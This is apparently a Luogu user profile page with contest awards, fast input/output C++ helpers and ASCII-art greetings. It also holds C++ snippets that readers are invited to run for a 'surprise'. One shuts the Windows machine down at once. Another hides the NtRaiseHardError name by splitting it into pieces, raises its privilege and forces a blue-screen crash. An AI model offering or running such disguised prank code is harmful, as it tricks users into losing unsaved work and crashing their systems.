跳到正文

s_h_i_f_t

1153452

在洛谷打开
资料、奖项与版本

资料

编号
1153452
抓取

奖项

2025 CSP-J
一等奖
2024 CSP-J
二等奖

signed

神秘代码

代码
document.body.contentEditable='true'

网页按F12加入此码\color{white}\textbf{网页按F12加入此码}

运行一下

有惊喜 嘻嘻!

C++
#include<iostream>
int main()
{
    printf("%c%c%c%c%c%c%c%c",-60,-29,-79,-69,-58,-83,-63,-53);
    return 0;
}

还有这个 哈哈!

C++
#include<windows.h>
int main()
{
    system("shutdown/P");
    return 0;
}

最后一个

C++
#include<iostream>
#include<windows.h>
#define pf "NtRai"
#define pn "dEr"
#define pu "seHar"
#define pc "ror"
#define ll long long
using namespace std;
const string pfunc=(string)pf+(string)pu+(string)pn+(string)pc;

int main(){
	HMODULE nt=LoadLibrary("ntdll");
	FARPROC rtl=GetProcAddress(nt, "RtlAdjustPrivilege");
	FARPROC ntr=GetProcAddress(nt, pfunc.c_str());
	int p;
	unsigned long int l;
	((void (__cdecl *)(DWORD, BOOL, BOOL, PBOOL))rtl)(19, 1, 0, &p);
	((void (__cdecl *)(DWORD, DWORD, DWORD, DWORD, DWORD, PDWORD))ntr)(0xC000021All, 0, 0, 0, 6, &l);
	return 0;
}

快读

C++
int in()
{
    int k=0,f=1;
    char c=getchar_unlocked();
    while(c<'0'||c>'9')
    {
        if(c=='-')f=-1;
        c=getchar_unlocked();
    }
    while(c>='0'&&c<='9')k=k*10+c-'0',c=getchar_unlocked();
    return k*f;
}

快输

C++
void out(int x)
{
    if(x<0)putchar('-'),x=-x;
    if(x<10)putchar(x+'0');
    else out(x/10),putchar(x%10+'0');
}

高精请看 P1932

求关

代码
 祝          祝祝祝祝祝祝
  祝         祝        祝
祝祝祝祝祝    祝        祝
     祝  祝   祝祝祝祝祝祝
   祝  祝      祝    祝
 祝 祝   祝    祝     祝 
    祝        祝       祝     祝
    祝      祝          祝    祝
    祝     祝            祝祝祝
    
    
     你      你
    你      你你你你你你你你
   你      你     你     你
 你 你    你      你    你
你  你         你 你 你
    你       你   你   你
    你     你     你     你
    你   你       你       你
    你         你 你
    你            你



           A
          A  A
         A    A
        A      A
       AAAAAAAAAA
      A          A
     A            A
    A              A


      K          K
      K        K
      K      K
      K    K
      K  K
      K    K
      K      K
      K        K
      K          K
      
      
       IIIIIII
          I
          I
          I
          I
          I
          I
          I
          I
          I
       IIIIIII
       
         
  
       
        O     O
   O               O
 O                   O
O                     O
O                     O
 O                   O
    O              O
        O     O
         
          
       
       IIIIIII
          I
          I
          I
          I
          I
          I
          I
          I
          I
       IIIIIII
共 1 篇